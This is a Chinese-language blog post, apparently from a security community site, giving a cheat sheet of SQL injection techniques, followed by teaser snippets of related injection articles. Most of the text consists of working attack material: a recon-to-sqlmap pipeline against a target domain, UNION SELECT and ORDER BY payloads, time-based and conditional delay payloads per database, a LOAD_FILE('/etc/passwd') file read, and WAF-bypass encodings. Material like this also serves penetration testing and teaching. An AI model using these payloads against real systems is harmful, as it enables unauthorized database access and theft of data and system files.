SQL快速注入漏洞技巧

一颗小胡椒2021-12-18 07:46:43

1. 使用 Burpsuite:

Capture the request using burpsuite.Send the request to burp scanner.Proceed with active scan.Once the scan is finished, look for SQL vulnerability that has been detected.Manually try SQL injection payloads.Use SQLMAP to speed up the process.

2. 使用 waybackurls 和其他工具:

sublist3r -d target | tee -a domains (you can use other tools like findomain, assetfinder, etc.)cat domains | httpx | tee -a alivecat alive | waybackurls | tee -a urlsgf sqli urls >> sqlisqlmap -m sqli --dbs --batchuse tamper scripts

3.使用启发式扫描获取隐藏参数:

Use subdomain enumeration tools on the domain.Gather all urls using hakcrawler, waybackurls, gau for the domain and subdomains.You can use the same method described above in 2nd point.Use Arjun to scan for the hidden params in the urls. Use --urls flag to include all urls.Check the params as https://domain.com?=<value>Send request to file and process it through sqlmap.

4. 使用不受信任的输入或特殊字符生成错误:

Submit single quote character ' & look for errors.Submit SQL specific query.Submit Boolean conditions such as or 1=1 and or 1=0, and looking application's response.Submit certain payloads that results in time delay.

5.使用 order by 或 group by 或具有以下条件查找总列数:

  Submit a series of ORDER BY clause such as         ' ORDER BY 1 --    ' ORDER BY 2 --    ' ORDER BY 3 --        and incrementing specified column index until an error occurs.

6.使用联合运算符查找易受攻击的列:

  Submit a series of UNION SELECT payloads.      ' UNION SELECT NULL --    ' UNION SELECT NULL, NULL --    ' UNION SELECT NULL, NULL, NULL --      (Using NULL maximizes the probability that the payload will succeed. NULL can be converted to every commonly used data type.)

7.使用 concat() 或 group_concat() 提取诸如 database()、version()、user()、UUID() 等基本信息

1. 数据库版本

Oracle         SELECT banner FROM v$version            SELECT version FROM v$instanceMicrosoft         SELECT @@versionPostgreSQL         SELECT version()MySQL         SELECT @@version

2. 数据库内容

    Oracle        SELECT * FROM all_tables            SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'        Microsoft     SELECT * FROM information_schema.tables                  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'        PostgreSQL     SELECT * FROM information_schema.tables                  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    MySQL         SELECT * FROM information_schema.tables                  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

3. 显示版本、用户和数据库名称

' AND 1=2 UNION ALL SELECT concat_ws(0x3a,version(),user(),database())

4.使用group_concat()函数,用于连接返回结果的所有行。

' union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()–

8. 使用load_file() 访问系统文件。然后提前开发:

' UNION ALL SELECT LOAD_FILE ('/ etc / passwd')

9.绕过WAF:

1. 在 SQL 查询之前使用 Null 字节

%00' UNION SELECT password FROM Users WHERE username-'xyz'--

2.使用SQL内联注释序列

'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'--

3.网址编码

for example :/ URL encoded to %2f* URL encoded to %2a
Can also use double encoding, if single encoding doesn't works. Use hex encoding if the rest doesn't work.

4. 改变大小写(大写/小写)

5. 使用 SQLMAP 篡改脚本。它有助于绕过 WAF/IDS/IPS。

6. 时间延迟:

Oracle         dbms_pipe.receive_message(('a'),10)      Microsoft     WAITFOR DELAY '0:0:10'      PostgreSQL     SELECT pg_sleep(10)      MySQL         SELECT sleep(10)

7. 有条件的延误:

Oracle         SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual      Microsoft     IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'      PostgreSQL     SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END      MySQL         SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
selecttable
本作品采用《CC 协议》,转载必须注明作者和本文链接
关注一波,谢谢各位师傅感谢ch1e师傅帮忙总结ch1e‘blog:https://ch1e.gitee.io
数据库注入提权总结
2022-08-09 16:49:49
select * from test where id=1 and ;布尔盲注常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。查询结果正确,则延迟3秒,错误则无延时。笛卡尔积延时大约也是3秒HTTP头注入注入手法和上述相差不多,就是注入点发生了变化HTTP分割注入常见场景,登录处SQL语句如下
虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。这只是一个简单的总结,只是简单的为新手分享一下SQL注入,文中内容可能会存在错误,望大佬们手下留情!0x01 Mysql 手工注入1.1 联合注入?id=0' union select 1,2,3,group_concat from users --+#group_concat 可替换为 concat_ws
一直以来,都想摆脱sqlmap的束缚,通过自定义脚本来完成某月某天,挖盒子过程中,burpsuite扫出某个sqli,花了点时间测了下,确实有些搞头。
1.先通过引号 判断该网站为数字型,payload直接拼接,无需引号闭合,当网站后直接构造拼接 and 0# 网站商品列表内容受到影响提示报错,此为回报错型注入
今天来分享一个绕过过滤比如?等字符的场景,测试环境为 PHP+Mysql假设场景php 代码通过 HTTP GET 参数 param1 接收用户输入的内容,然后经过自定义的过滤函数?过滤可能导致 SQL 注入的特殊字符。在 SQL 查询中,用户数据作为列名插入到查询语句中,比如:$query = mysqli_query;函数来打印错误信息,那么也无法使用报错注入的方式来回显数据。auth,使用 like 子句来查找该表名的第一个字符?
DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件?以Mysql为例,通过dnslog外带数据需要用到load_file函数,所以一般得是root权限,并且secure_file_priv得为空payload:。1' and # //查看当前用户。返回用来启动当前的 Cmd.exe 的准确命令行。通常用非零值表示错误。
id=3';对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 没有报错,说明存在3列爆出数据库:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出数据表:?id=1' and extractvalue--+(爆字段)?
如下图:扫码后发现跳转到了QQ邮箱登陆界面,确定为钓鱼网站,看到其域名为http://****kak2.cn。既然是将数据提交到本站了,那么如果钓鱼者再后端接收数据时直接将参数拼接到SQL语句中,那么就可能存在SQL注入。现在我们构造数据,提交数据,然后抓取数据包来进行测试,抓取的数据包如下:接下来开始测试是否存在SQL注入,name参数后添加单引号,发送数据,发现报错,存在SQL注入!猜解一下数据库名,数据库版本,构造payload' and updatexml%23
一颗小胡椒
暂无描述